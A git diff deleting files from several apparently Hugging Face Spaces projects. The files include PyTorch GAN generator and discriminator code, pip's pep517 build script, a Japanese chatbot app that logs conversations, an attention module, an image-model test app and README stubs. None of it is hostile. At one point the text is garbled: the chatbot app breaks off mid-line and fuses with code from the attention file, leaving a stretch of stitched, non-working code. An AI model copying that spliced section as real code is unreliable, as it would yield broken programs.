-            model += deconv_factory(deconv_kind, ngf, mult, up_norm_layer, up_activation, max_features)
-        model += [nn.ReflectionPad2d(3),
-                  nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
-        if add_out_act:
-            model.append(get_activation('tanh' if add_out_act is True else add_out_act))
-        self.model = nn.Sequential(*model)
-
-    def forward(self, input):
-        return self.model(input)
-
-
-def make_dil_blocks(dilated_blocks_n, dilation_block_kind, dilated_block_kwargs):
-    blocks = []
-    for i in range(dilated_blocks_n):
-        if dilation_block_kind == 'simple':
-            blocks.append(ResnetBlock(**dilated_block_kwargs, dilation=2 ** (i + 1)))
-        elif dilation_block_kind == 'multi':
-            blocks.append(MultidilatedResnetBlock(**dilated_block_kwargs))
-        else:
-            raise ValueError(f'dilation_block_kind could not be "{dilation_block_kind}"')
-    return blocks
-
-
-class GlobalGenerator(nn.Module):
-    def __init__(self, input_nc, output_nc, ngf=64, n_downsampling=3, n_blocks=9, norm_layer=nn.BatchNorm2d,
-                 padding_type='reflect', conv_kind='default', activation=nn.ReLU(True),
-                 up_norm_layer=nn.BatchNorm2d, affine=None,
-                 up_activation=nn.ReLU(True), dilated_blocks_n=0, dilated_blocks_n_start=0,
-                 dilated_blocks_n_middle=0,
-                 add_out_act=True,
-                 max_features=1024, is_resblock_depthwise=False,
-                 ffc_positions=None, ffc_kwargs={}, dilation=1, second_dilation=None,
-                 dilation_block_kind='simple', multidilation_kwargs={}):
-        assert (n_blocks >= 0)
-        super().__init__()
-
-        conv_layer = get_conv_block_ctor(conv_kind)
-        norm_layer = get_norm_layer(norm_layer)
-        if affine is not None:
-            norm_layer = partial(norm_layer, affine=affine)
-        up_norm_layer = get_norm_layer(up_norm_layer)
-        if affine is not None:
-            up_norm_layer = partial(up_norm_layer, affine=affine)
-
-        if ffc_positions is not None:
-            ffc_positions = collections.Counter(ffc_positions)
-
-        model = [nn.ReflectionPad2d(3),
-                 conv_layer(input_nc, ngf, kernel_size=7, padding=0),
-                 norm_layer(ngf),
-                 activation]
-
-        identity = Identity()
-        ### downsample
-        for i in range(n_downsampling):
-            mult = 2 ** i
-
-            model += [conv_layer(min(max_features, ngf * mult),
-                                min(max_features, ngf * mult * 2),
-                                kernel_size=3, stride=2, padding=1),
-                        norm_layer(min(max_features, ngf * mult * 2)),
-                        activation]
-
-        mult = 2 ** n_downsampling
-        feats_num_bottleneck = min(max_features, ngf * mult)
-
-        dilated_block_kwargs = dict(dim=feats_num_bottleneck, padding_type=padding_type,
-                                    activation=activation, norm_layer=norm_layer)
-        if dilation_block_kind == 'simple':
-            dilated_block_kwargs['conv_kind'] = conv_kind
-        elif dilation_block_kind == 'multi':
-            dilated_block_kwargs['conv_layer'] = functools.partial(
-                get_conv_block_ctor('multidilated'), **multidilation_kwargs)
-
-        # dilated blocks at the start of the bottleneck sausage
-        if dilated_blocks_n_start is not None and dilated_blocks_n_start > 0:
-            model += make_dil_blocks(dilated_blocks_n_start, dilation_block_kind, dilated_block_kwargs)
-
-        # resnet blocks
-        for i in range(n_blocks):
-            # dilated blocks at the middle of the bottleneck sausage
-            if i == n_blocks // 2 and dilated_blocks_n_middle is not None and dilated_blocks_n_middle > 0:
-                model += make_dil_blocks(dilated_blocks_n_middle, dilation_block_kind, dilated_block_kwargs)
-            
-            if ffc_positions is not None and i in ffc_positions:
-                for _ in range(ffc_positions[i]):  # same position can occur more than once
-                    model += [FFCResnetBlock(feats_num_bottleneck, padding_type, norm_layer, activation_layer=nn.ReLU,
-                                             inline=True, **ffc_kwargs)]
-
-            if is_resblock_depthwise:
-                resblock_groups = feats_num_bottleneck
-            else:
-                resblock_groups = 1
-
-            model += [ResnetBlock(feats_num_bottleneck, padding_type=padding_type, activation=activation,
-                                    norm_layer=norm_layer, conv_kind=conv_kind, groups=resblock_groups,
-                                    dilation=dilation, second_dilation=second_dilation)]
-            
-
-        # dilated blocks at the end of the bottleneck sausage
-        if dilated_blocks_n is not None and dilated_blocks_n > 0:
-            model += make_dil_blocks(dilated_blocks_n, dilation_block_kind, dilated_block_kwargs)
-
-        # upsample
-        for i in range(n_downsampling):
-            mult = 2 ** (n_downsampling - i)
-            model += [nn.ConvTranspose2d(min(max_features, ngf * mult),
-                                         min(max_features, int(ngf * mult / 2)),
-                                         kernel_size=3, stride=2, padding=1, output_padding=1),
-                      up_norm_layer(min(max_features, int(ngf * mult / 2))),
-                      up_activation]
-        model += [nn.ReflectionPad2d(3),
-                  nn.Conv2d(ngf, output_nc, kernel_size=7, padding=0)]
-        if add_out_act:
-            model.append(get_activation('tanh' if add_out_act is True else add_out_act))
-        self.model = nn.Sequential(*model)
-
-    def forward(self, input):
-        return self.model(input)
-
-
-class GlobalGeneratorGated(GlobalGenerator):
-    def __init__(self, *args, **kwargs):
-        real_kwargs=dict(
-            conv_kind='gated_bn_relu',
-            activation=nn.Identity(),
-            norm_layer=nn.Identity
-        )
-        real_kwargs.update(kwargs)
-        super().__init__(*args, **real_kwargs)
-
-
-class GlobalGeneratorFromSuperChannels(nn.Module):
-    def __init__(self, input_nc, output_nc, n_downsampling, n_blocks, super_channels, norm_layer="bn", padding_type='reflect', add_out_act=True):
-        super().__init__()
-        self.n_downsampling = n_downsampling
-        norm_layer = get_norm_layer(norm_layer)
-        if type(norm_layer) == functools.partial:
-            use_bias = (norm_layer.func == nn.InstanceNorm2d)
-        else:
-            use_bias = (norm_layer == nn.InstanceNorm2d)
-
-        channels = self.convert_super_channels(super_channels)
-        self.channels = channels
-
-        model = [nn.ReflectionPad2d(3),
-                 nn.Conv2d(input_nc, channels[0], kernel_size=7, padding=0, bias=use_bias),
-                 norm_layer(channels[0]),
-                 nn.ReLU(True)]
-
-        for i in range(n_downsampling):  # add downsampling layers
-            mult = 2 ** i
-            model += [nn.Conv2d(channels[0+i], channels[1+i], kernel_size=3, stride=2, padding=1, bias=use_bias),
-                      norm_layer(channels[1+i]),
-                      nn.ReLU(True)]
-
-        mult = 2 ** n_downsampling
-
-        n_blocks1 = n_blocks // 3
-        n_blocks2 = n_blocks1
-        n_blocks3 = n_blocks - n_blocks1 - n_blocks2
-
-        for i in range(n_blocks1):
-            c = n_downsampling
-            dim = channels[c]
-            model += [ResnetBlock(dim, padding_type=padding_type, norm_layer=norm_layer)]
-
-        for i in range(n_blocks2):
-            c = n_downsampling+1
-            dim = channels[c]
-            kwargs = {}
-            if i == 0:
-                kwargs = {"in_dim": channels[c-1]}
-            model += [ResnetBlock(dim, padding_type=padding_type, norm_layer=norm_layer, **kwargs)]
-
-        for i in range(n_blocks3):
-            c = n_downsampling+2
-            dim = channels[c]
-            kwargs = {}
-            if i == 0:
-                kwargs = {"in_dim": channels[c-1]}
-            model += [ResnetBlock(dim, padding_type=padding_type, norm_layer=norm_layer, **kwargs)]
-
-        for i in range(n_downsampling):  # add upsampling layers
-            mult = 2 ** (n_downsampling - i)
-            model += [nn.ConvTranspose2d(channels[n_downsampling+3+i],
-                                           channels[n_downsampling+3+i+1],
-                                           kernel_size=3, stride=2,
-                                           padding=1, output_padding=1,
-                                           bias=use_bias),
-                      norm_layer(channels[n_downsampling+3+i+1]),
-                      nn.ReLU(True)]
-        model += [nn.ReflectionPad2d(3)]
-        model += [nn.Conv2d(channels[2*n_downsampling+3], output_nc, kernel_size=7, padding=0)]
-
-        if add_out_act:
-            model.append(get_activation('tanh' if add_out_act is True else add_out_act))
-        self.model = nn.Sequential(*model)
-
-    def convert_super_channels(self, super_channels):
-        n_downsampling = self.n_downsampling
-        result = []
-        cnt = 0
-
-        if n_downsampling == 2:
-            N1 = 10
-        elif n_downsampling == 3:
-            N1 = 13
-        else:
-            raise NotImplementedError
-
-        for i in range(0, N1):
-            if i in [1,4,7,10]:
-                channel = super_channels[cnt] * (2 ** cnt)
-                config = {'channel': channel}
-                result.append(channel)
-                logging.info(f"Downsample channels {result[-1]}")
-                cnt += 1
-
-        for i in range(3):
-            for counter, j in enumerate(range(N1 + i * 3, N1 + 3 + i * 3)):
-                if len(super_channels) == 6:
-                    channel = super_channels[3] * 4
-                else:
-                    channel = super_channels[i + 3] * 4
-                config = {'channel': channel}
-                if counter == 0:
-                    result.append(channel)
-                    logging.info(f"Bottleneck channels {result[-1]}")
-        cnt = 2
-
-        for i in range(N1+9, N1+21):
-            if i in [22, 25,28]:
-                cnt -= 1
-                if len(super_channels) == 6:
-                    channel = super_channels[5 - cnt] * (2 ** cnt)
-                else:
-                    channel = super_channels[7 - cnt] * (2 ** cnt)
-                result.append(int(channel))
-                logging.info(f"Upsample channels {result[-1]}")
-        return result
-
-    def forward(self, input):
-        return self.model(input)
-
-
-# Defines the PatchGAN discriminator with the specified arguments.
-class NLayerDiscriminator(BaseDiscriminator):
-    def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d,):
-        super().__init__()
-        self.n_layers = n_layers
-
-        kw = 4
-        padw = int(np.ceil((kw-1.0)/2))
-        sequence = [[nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw),
-                     nn.LeakyReLU(0.2, True)]]
-
-        nf = ndf
-        for n in range(1, n_layers):
-            nf_prev = nf
-            nf = min(nf * 2, 512)
-
-            cur_model = []
-            cur_model += [
-                nn.Conv2d(nf_prev, nf, kernel_size=kw, stride=2, padding=padw),
-                norm_layer(nf),
-                nn.LeakyReLU(0.2, True)
-            ]
-            sequence.append(cur_model)
-
-        nf_prev = nf
-        nf = min(nf * 2, 512)
-
-        cur_model = []
-        cur_model += [
-            nn.Conv2d(nf_prev, nf, kernel_size=kw, stride=1, padding=padw),
-            norm_layer(nf),
-            nn.LeakyReLU(0.2, True)
-        ]
-        sequence.append(cur_model)
-
-        sequence += [[nn.Conv2d(nf, 1, kernel_size=kw, stride=1, padding=padw)]]
-
-        for n in range(len(sequence)):
-            setattr(self, 'model'+str(n), nn.Sequential(*sequence[n]))
-
-    def get_all_activations(self, x):
-        res = [x]
-        for n in range(self.n_layers + 2):
-            model = getattr(self, 'model' + str(n))
-            res.append(model(res[-1]))
-        return res[1:]
-
-    def forward(self, x):
-        act = self.get_all_activations(x)
-        return act[-1], act[:-1]
-
-
-class MultidilatedNLayerDiscriminator(BaseDiscriminator):
-    def __init__(self, input_nc, ndf=64, n_layers=3, norm_layer=nn.BatchNorm2d, multidilation_kwargs={}):
-        super().__init__()
-        self.n_layers = n_layers
-
-        kw = 4
-        padw = int(np.ceil((kw-1.0)/2))
-        sequence = [[nn.Conv2d(input_nc, ndf, kernel_size=kw, stride=2, padding=padw),
-                     nn.LeakyReLU(0.2, True)]]
-
-        nf = ndf
-        for n in range(1, n_layers):
-            nf_prev = nf
-            nf = min(nf * 2, 512)
-
-            cur_model = []
-            cur_model += [
-                MultidilatedConv(nf_prev, nf, kernel_size=kw, stride=2, padding=[2, 3], **multidilation_kwargs),
-                norm_layer(nf),
-                nn.LeakyReLU(0.2, True)
-            ]
-            sequence.append(cur_model)
-
-        nf_prev = nf
-        nf = min(nf * 2, 512)
-
-        cur_model = []
-        cur_model += [
-            nn.Conv2d(nf_prev, nf, kernel_size=kw, stride=1, padding=padw),
-            norm_layer(nf),
-            nn.LeakyReLU(0.2, True)
-        ]
-        sequence.append(cur_model)
-
-        sequence += [[nn.Conv2d(nf, 1, kernel_size=kw, stride=1, padding=padw)]]
-
-        for n in range(len(sequence)):
-            setattr(self, 'model'+str(n), nn.Sequential(*sequence[n]))
-
-    def get_all_activations(self, x):
-        res = [x]
-        for n in range(self.n_layers + 2):
-            model = getattr(self, 'model' + str(n))
-            res.append(model(res[-1]))
-        return res[1:]
-
-    def forward(self, x):
-        act = self.get_all_activations(x)
-        return act[-1], act[:-1]
-
-
-class NLayerDiscriminatorAsGen(NLayerDiscriminator):
-    def forward(self, x):
-        return super().forward(x)[0]
diff --git a/spaces/akhaliq/riffusion-riffusion-model-v1/app.py b/spaces/akhaliq/riffusion-riffusion-model-v1/app.py
deleted file mode 100644
index 5316590a67da22f64b3eb27b22d30c601ac3e704..0000000000000000000000000000000000000000
--- a/spaces/akhaliq/riffusion-riffusion-model-v1/app.py
+++ /dev/null
@@ -1,3 +0,0 @@
-import gradio as gr
-
-gr.Interface.load("models/riffusion/riffusion-model-v1").launch()
\ No newline at end of file
diff --git a/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/pep517/build.py b/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/pep517/build.py
deleted file mode 100644
index bc463b2ba6dd4db64ccf5c2f749f8a8dfc2d86f1..0000000000000000000000000000000000000000
--- a/spaces/alexray/btc_predictor/venv/lib/python3.10/site-packages/pip/_vendor/pep517/build.py
+++ /dev/null
@@ -1,127 +0,0 @@
-"""Build a project using PEP 517 hooks.
-"""
-import argparse
-import io
-import logging
-import os
-import shutil
-
-from .envbuild import BuildEnvironment
-from .wrappers import Pep517HookCaller
-from .dirtools import tempdir, mkdir_p
-from .compat import FileNotFoundError, toml_load
-
-log = logging.getLogger(__name__)
-
-
-def validate_system(system):
-    """
-    Ensure build system has the requisite fields.
-    """
-    required = {'requires', 'build-backend'}
-    if not (required <= set(system)):
-        message = "Missing required fields: {missing}".format(
-            missing=required-set(system),
-        )
-        raise ValueError(message)
-
-
-def load_system(source_dir):
-    """
-    Load the build system from a source dir (pyproject.toml).
-    """
-    pyproject = os.path.join(source_dir, 'pyproject.toml')
-    with io.open(pyproject, 'rb') as f:
-        pyproject_data = toml_load(f)
-    return pyproject_data['build-system']
-
-
-def compat_system(source_dir):
-    """
-    Given a source dir, attempt to get a build system backend
-    and requirements from pyproject.toml. Fallback to
-    setuptools but only if the file was not found or a build
-    system was not indicated.
-    """
-    try:
-        system = load_system(source_dir)
-    except (FileNotFoundError, KeyError):
-        system = {}
-    system.setdefault(
-        'build-backend',
-        'setuptools.build_meta:__legacy__',
-    )
-    system.setdefault('requires', ['setuptools', 'wheel'])
-    return system
-
-
-def _do_build(hooks, env, dist, dest):
-    get_requires_name = 'get_requires_for_build_{dist}'.format(**locals())
-    get_requires = getattr(hooks, get_requires_name)
-    reqs = get_requires({})
-    log.info('Got build requires: %s', reqs)
-
-    env.pip_install(reqs)
-    log.info('Installed dynamic build dependencies')
-
-    with tempdir() as td:
-        log.info('Trying to build %s in %s', dist, td)
-        build_name = 'build_{dist}'.format(**locals())
-        build = getattr(hooks, build_name)
-        filename = build(td, {})
-        source = os.path.join(td, filename)
-        shutil.move(source, os.path.join(dest, os.path.basename(filename)))
-
-
-def build(source_dir, dist, dest=None, system=None):
-    system = system or load_system(source_dir)
-    dest = os.path.join(source_dir, dest or 'dist')
-    mkdir_p(dest)
-
-    validate_system(system)
-    hooks = Pep517HookCaller(
-        source_dir, system['build-backend'], system.get('backend-path')
-    )
-
-    with BuildEnvironment() as env:
-        env.pip_install(system['requires'])
-        _do_build(hooks, env, dist, dest)
-
-
-parser = argparse.ArgumentParser()
-parser.add_argument(
-    'source_dir',
-    help="A directory containing pyproject.toml",
-)
-parser.add_argument(
-    '--binary', '-b',
-    action='store_true',
-    default=False,
-)
-parser.add_argument(
-    '--source', '-s',
-    action='store_true',
-    default=False,
-)
-parser.add_argument(
-    '--out-dir', '-o',
-    help="Destination in which to save the builds relative to source dir",
-)
-
-
-def main(args):
-    log.warning('pep517.build is deprecated. '
-                'Consider switching to https://pypi.org/project/build/')
-
-    # determine which dists to build
-    dists = list(filter(None, (
-        'sdist' if args.source or not args.binary else None,
-        'wheel' if args.binary or not args.source else None,
-    )))
-
-    for dist in dists:
-        build(args.source_dir, dist, args.out_dir)
-
-
-if __name__ == '__main__':
-    main(parser.parse_args())
diff --git a/spaces/alfredplpl/ChatZMD/app.py b/spaces/alfredplpl/ChatZMD/app.py
deleted file mode 100644
index b608a981e8d319457e28ad7239ca101e32abacd7..0000000000000000000000000000000000000000
--- a/spaces/alfredplpl/ChatZMD/app.py
+++ /dev/null
@@ -1,91 +0,0 @@
-import gradio as gr
-import random
-import time
-import openai
-import os
-from huggingface_hub import Repository
-from datetime import datetime
-import csv
-
-openai.api_key = os.environ["OPENAI_KEY"]
-model_name=os.environ["MODEL_NAME"]
-
-MAX_CHARS = 128
-TOTAL_CHARS = 3000
-
-css="""
-#col-container {max-width: 700px; margin-left: auto; margin-right: auto;}
-"""
-
-title = """
-
      
-    
      🫛チャットずんだもんβ3🫛
      
-    
      品質改善のため会話の内容を保存しています。あらかじめご了承ください。
      
-    
      個人情報や機密情報、ChatGPTの規約に違反することを入力しないでください。
      
-
      
-"""
-
-DATASET_REPO_URL = "https://huggingface.co/datasets/alfredplpl/chatzmd-log"
-DATA_FILENAME = "msg_log.csv"
-DATA_FILE = os.path.join("data", DATA_FILENAME)
-
-HF_TOKEN = os.environ["HF_TOKEN"]
-
-repo = Repository(
-    local_dir="data", clone_from=DATASET_REPO_URL, use_auth_token=HF_TOKEN
-)
-
-with gr.Blocks(css=css) as demo:
-    with gr.Column(elem_id="col-container"):
-        gr.HTML(title)
-        chatbot = gr.Chatbot(label='対話履歴') #,avatar_images=("animal_hamster.png", "zunmon001.png"),
-        msg = gr.Textbox(label="質問", placeholder="聞きたいことを入力してエンターキーを押してください。")
-        clear = gr.ClearButton([msg, chatbot])
-
-    def respond(message, chat_history):
-        messages=[{"role": "system", "content": f"あなたはずんだもんです。嘘をつくのは苦手です。一度の会話では短く喋り、反復しないでください。現在のタイムスタンプはUTCで{datetime.now()}です。"}]
-        
-        print(message)
-        
-        if(MAX_CHARS [b, n_h, t, d_k]
-        b, d, t_s, t_t = (*key.size(), query.size(2))
-        query = query.view(b, self.n_heads, self.k_channels, t_t).transpose(2, 3)
-        key = key.view(b, self.n_heads, self.k_channels, t_s).transpose(2, 3)
-        value = value.view(b, self.n_heads, self.k_channels, t_s).transpose(2, 3)
-
-        scores = torch.matmul(query / math.sqrt(self.k_channels), key.transpose(-2, -1))
-        if self.window_size is not None:
-            assert (
-                t_s == t_t
-            ), "Relative attention is only available for self-attention."
-            key_relative_embeddings = self._get_relative_embeddings(self.emb_rel_k, t_s)
-            rel_logits = self._matmul_with_relative_keys(
-                query / math.sqrt(self.k_channels), key_relative_embeddings
-            )
-            scores_local = self._relative_position_to_absolute_position(rel_logits)
-            scores = scores + scores_local
-        if self.proximal_bias:
-            assert t_s == t_t, "Proximal bias is only available for self-attention."
-            scores = scores + self._attention_bias_proximal(t_s).to(
-                device=scores.device, dtype=scores.dtype
-            )
-        if mask is not None:
-            scores = scores.masked_fill(mask == 0, -1e4)
-            if self.block_length is not None:
-                assert (
-                    t_s == t_t
-                ), "Local attention is only available for self-attention."
-                block_mask = (
-                    torch.ones_like(scores)
-                    .triu(-self.block_length)
-                    .tril(self.block_length)
-                )
-                scores = scores.masked_fill(block_mask == 0, -1e4)
-        p_attn = F.softmax(scores, dim=-1)  # [b, n_h, t_t, t_s]
-        p_attn = self.drop(p_attn)
-        output = torch.matmul(p_attn, value)
-        if self.window_size is not None:
-            relative_weights = self._absolute_position_to_relative_position(p_attn)
-            value_relative_embeddings = self._get_relative_embeddings(
-                self.emb_rel_v, t_s
-            )
-            output = output + self._matmul_with_relative_values(
-                relative_weights, value_relative_embeddings
-            )
-        output = (
-            output.transpose(2, 3).contiguous().view(b, d, t_t)
-        )  # [b, n_h, t_t, d_k] -> [b, d, t_t]
-        return output, p_attn
-
-    def _matmul_with_relative_values(self, x, y):
-        """
-        x: [b, h, l, m]
-        y: [h or 1, m, d]
-        ret: [b, h, l, d]
-        """
-        ret = torch.matmul(x, y.unsqueeze(0))
-        return ret
-
-    def _matmul_with_relative_keys(self, x, y):
-        """
-        x: [b, h, l, d]
-        y: [h or 1, m, d]
-        ret: [b, h, l, m]
-        """
-        ret = torch.matmul(x, y.unsqueeze(0).transpose(-2, -1))
-        return ret
-
-    def _get_relative_embeddings(self, relative_embeddings, length):
-        max_relative_position = 2 * self.window_size + 1
-        # Pad first before slice to avoid using cond ops.
-        pad_length = max(length - (self.window_size + 1), 0)
-        slice_start_position = max((self.window_size + 1) - length, 0)
-        slice_end_position = slice_start_position + 2 * length - 1
-        if pad_length > 0:
-            padded_relative_embeddings = F.pad(
-                relative_embeddings,
-                commons.convert_pad_shape([[0, 0], [pad_length, pad_length], [0, 0]]),
-            )
-        else:
-            padded_relative_embeddings = relative_embeddings
-        used_relative_embeddings = padded_relative_embeddings[
-            :, slice_start_position:slice_end_position
-        ]
-        return used_relative_embeddings
-
-    def _relative_position_to_absolute_position(self, x):
-        """
-        x: [b, h, l, 2*l-1]
-        ret: [b, h, l, l]
-        """
-        batch, heads, length, _ = x.size()
-        # Concat columns of pad to shift from relative to absolute indexing.
-        x = F.pad(x, commons.convert_pad_shape([[0, 0], [0, 0], [0, 0], [0, 1]]))
-
-        # Concat extra elements so to add up to shape (len+1, 2*len-1).
-        x_flat = x.view([batch, heads, length * 2 * length])
-        x_flat = F.pad(
-            x_flat, commons.convert_pad_shape([[0, 0], [0, 0], [0, length - 1]])
-        )
-
-        # Reshape and slice out the padded elements.
-        x_final = x_flat.view([batch, heads, length + 1, 2 * length - 1])[
-            :, :, :length, length - 1 :
-        ]
-        return x_final
-
-    def _absolute_position_to_relative_position(self, x):
-        """
-        x: [b, h, l, l]
-        ret: [b, h, l, 2*l-1]
-        """
-        batch, heads, length, _ = x.size()
-        # padd along column
-        x = F.pad(
-            x, commons.convert_pad_shape([[0, 0], [0, 0], [0, 0], [0, length - 1]])
-        )
-        x_flat = x.view([batch, heads, length**2 + length * (length - 1)])
-        # add 0's in the beginning that will skew the elements after reshape
-        x_flat = F.pad(x_flat, commons.convert_pad_shape([[0, 0], [0, 0], [length, 0]]))
-        x_final = x_flat.view([batch, heads, length, 2 * length])[:, :, :, 1:]
-        return x_final
-
-    def _attention_bias_proximal(self, length):
-        """Bias for self-attention to encourage attention to close positions.
-        Args:
-          length: an integer scalar.
-        Returns:
-          a Tensor with shape [1, 1, length, length]
-        """
-        r = torch.arange(length, dtype=torch.float32)
-        diff = torch.unsqueeze(r, 0) - torch.unsqueeze(r, 1)
-        return torch.unsqueeze(torch.unsqueeze(-torch.log1p(torch.abs(diff)), 0), 0)
-
-
-class FFN(nn.Module):
-    def __init__(
-        self,
-        in_channels,
-        out_channels,
-        filter_channels,
-        kernel_size,
-        p_dropout=0.0,
-        activation=None,
-        causal=False,
-    ):
-        super().__init__()
-        self.in_channels = in_channels
-        self.out_channels = out_channels
-        self.filter_channels = filter_channels
-        self.kernel_size = kernel_size
-        self.p_dropout = p_dropout
-        self.activation = activation
-        self.causal = causal
-
-        if causal:
-            self.padding = self._causal_padding
-        else:
-            self.padding = self._same_padding
-
-        self.conv_1 = nn.Conv1d(in_channels, filter_channels, kernel_size)
-        self.conv_2 = nn.Conv1d(filter_channels, out_channels, kernel_size)
-        self.drop = nn.Dropout(p_dropout)
-
-    def forward(self, x, x_mask):
-        x = self.conv_1(self.padding(x * x_mask))
-        if self.activation == "gelu":
-            x = x * torch.sigmoid(1.702 * x)
-        else:
-            x = torch.relu(x)
-        x = self.drop(x)
-        x = self.conv_2(self.padding(x * x_mask))
-        return x * x_mask
-
-    def _causal_padding(self, x):
-        if self.kernel_size == 1:
-            return x
-        pad_l = self.kernel_size - 1
-        pad_r = 0
-        padding = [[0, 0], [0, 0], [pad_l, pad_r]]
-        x = F.pad(x, commons.convert_pad_shape(padding))
-        return x
-
-    def _same_padding(self, x):
-        if self.kernel_size == 1:
-            return x
-        pad_l = (self.kernel_size - 1) // 2
-        pad_r = self.kernel_size // 2
-        padding = [[0, 0], [0, 0], [pad_l, pad_r]]
-        x = F.pad(x, commons.convert_pad_shape(padding))
-        return x
diff --git a/spaces/allknowingroger/Image-Models-Test16/README.md b/spaces/allknowingroger/Image-Models-Test16/README.md
deleted file mode 100644
index 6615ee5780d39cf341119c821c2cb5ca8d102dc2..0000000000000000000000000000000000000000
--- a/spaces/allknowingroger/Image-Models-Test16/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: More Image Models
-emoji: 😻
-colorFrom: red
-colorTo: gray
-sdk: gradio
-sdk_version: 3.23.0
-app_file: app.py
-pinned: true
-duplicated_from: allknowingroger/Image-Models-Test15
----
-
-
\ No newline at end of file
diff --git a/spaces/allknowingroger/Image-Models-Test195/app.py b/spaces/allknowingroger/Image-Models-Test195/app.py
deleted file mode 100644
index 56df35c6d4f496b8da2c220218dde53f08bce89e..0000000000000000000000000000000000000000
--- a/spaces/allknowingroger/Image-Models-Test195/app.py
+++ /dev/null
@@ -1,144 +0,0 @@
-import gradio as gr
-# import os
-# import sys
-# from pathlib import Path
-import time
-
-models =[
-    "karthickp6/lora-trained-xl-colab_Cayenne9YAAI1",
-    "Yntec/Dreamshaper8",
-    "egebey/pikselv0.1",
-    "chakra17/lora-trained-xl-colab",
-    "Kive/db-hugger-25",
-    "Norod78/sdxl-futurama-style-lora",
-    "Norod78/sd2-dreambooth-ClaymationXmas",
-    "rynmurdock/Zahir_Draft",
-    "KyriaAnnwyn/lora-trained-RachelMcPherson_baseRVsamples_long-xl",
-]
-
-
-model_functions = {}
-model_idx = 1
-for model_path in models:
-    try:
-        model_functions[model_idx] = gr.Interface.load(f"models/{model_path}", live=False, preprocess=True, postprocess=False)
-    except Exception as error:
-        def the_fn(txt):
-            return None
-        model_functions[model_idx] = gr.Interface(fn=the_fn, inputs=["text"], outputs=["image"])
-    model_idx+=1
-
-
-def send_it_idx(idx):
-    def send_it_fn(prompt):
-        output = (model_functions.get(str(idx)) or model_functions.get(str(1)))(prompt)
-        return output
-    return send_it_fn
-
-def get_prompts(prompt_text):
-    return prompt_text
-
-def clear_it(val):
-    if int(val) != 0:
-        val = 0
-    else:
-        val = 0
-        pass
-    return val
-
-def all_task_end(cnt,t_stamp):
-    to = t_stamp + 60
-    et = time.time()
-    if et > to and t_stamp != 0:
-        d = gr.update(value=0)
-        tog = gr.update(value=1)
-        #print(f'to: {to}  et: {et}')
-    else:
-        if cnt != 0:
-            d = gr.update(value=et)
-        else:
-            d = gr.update(value=0)
-        tog = gr.update(value=0)
-        #print (f'passing:  to: {to}  et: {et}')
-        pass
-    return d, tog
-
-def all_task_start():
-    print("\n\n\n\n\n\n\n")
-    t = time.gmtime()
-    t_stamp = time.time()
-    current_time = time.strftime("%H:%M:%S", t)
-    return gr.update(value=t_stamp), gr.update(value=t_stamp), gr.update(value=0)
-
-def clear_fn():
-    nn = len(models)
-    return tuple([None, *[None for _ in range(nn)]])
-
-
-
-with gr.Blocks(title="SD Models") as my_interface:
-    with gr.Column(scale=12):
-        # with gr.Row():
-        #     gr.Markdown("""- Primary prompt: 你想画的内容(英文单词，如 a cat, 加英文逗号效果更好；点 Improve 按钮进行完善)\n- Real prompt: 完善后的提示词，出现后再点右边的 Run 按钮开始运行""")
-        with gr.Row():
-            with gr.Row(scale=6):
-                primary_prompt=gr.Textbox(label="Prompt", value="")
-                # real_prompt=gr.Textbox(label="Real prompt")
-            with gr.Row(scale=6):
-                # improve_prompts_btn=gr.Button("Improve")
-                with gr.Row():
-                    run=gr.Button("Run",variant="primary")
-                    clear_btn=gr.Button("Clear")
-        with gr.Row():
-            sd_outputs = {}
-            model_idx = 1
-            for model_path in models:
-                with gr.Column(scale=3, min_width=320):
-                    with gr.Box():
-                        sd_outputs[model_idx] = gr.Image(label=model_path)
-                    pass
-                model_idx += 1
-                pass
-            pass
-
-        with gr.Row(visible=False):
-            start_box=gr.Number(interactive=False)
-            end_box=gr.Number(interactive=False)
-            tog_box=gr.Textbox(value=0,interactive=False)
-
-        start_box.change(
-            all_task_end,
-            [start_box, end_box],
-            [start_box, tog_box],
-            every=1,
-            show_progress=False)
-
-        primary_prompt.submit(all_task_start, None, [start_box, end_box, tog_box])
-        run.click(all_task_start, None, [start_box, end_box, tog_box])
-        runs_dict = {}
-        model_idx = 1
-        for model_path in models:
-            runs_dict[model_idx] = run.click(model_functions[model_idx], inputs=[primary_prompt], outputs=[sd_outputs[model_idx]])
-            model_idx += 1
-            pass
-        pass
-
-        # improve_prompts_btn_clicked=improve_prompts_btn.click(
-        #     get_prompts,
-        #     inputs=[primary_prompt],
-        #     outputs=[primary_prompt],
-        #     cancels=list(runs_dict.values()))
-        clear_btn.click(
-            clear_fn,
-            None,
-            [primary_prompt, *list(sd_outputs.values())],
-            cancels=[*list(runs_dict.values())])
-        tog_box.change(
-            clear_it,
-            tog_box,
-            tog_box,
-            cancels=[*list(runs_dict.values())])
-
-my_interface.queue(concurrency_count=600, status_update_rate=1)
-my_interface.launch(inline=True, show_api=False)
- 
\ No newline at end of file
diff --git a/spaces/allknowingroger/Image-Models-Test81/README.md b/spaces/allknowingroger/Image-Models-Test81/README.md
deleted file mode 100644
index f7347bce450558e736059d45557b453bb262d0e9..0000000000000000000000000000000000000000
--- a/spaces/allknowingroger/Image-Models-Test81/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: More Image Models
-emoji: 😻
-colorFrom: red
-colorTo: gray
-sdk: gradio
-sdk_version: 3.23.0
-app_file: app.py
-pinned: true
-duplicated_from: allknowingroger/Image-Models-Test80
----
-
-
\ No newline at end of file
diff --git a/spaces/andzhk/PGNInfo-test/README.md b/spaces/andzhk/PGNInfo-test/README.md
deleted file mode 100644
index 600799212e69ff13343b2d00c0ff098734984929..0000000000000000000000000000000000000000
--- a/spaces/andzhk/PGNInfo-test/README.md
+++ /dev/null
@@ -1,13 +0,0 @@
----
-title: PGNInfo Test
-emoji: 🏢
-colorFrom: red
-colorTo: yellow
-sdk: gradio
-sdk_version: 3.16.2
-app_file: app.py
-pinned: false
-license: wtfpl
----
-
-Check out the configuration reference at https://huggingface.co/docs/hub/spaces-config-reference
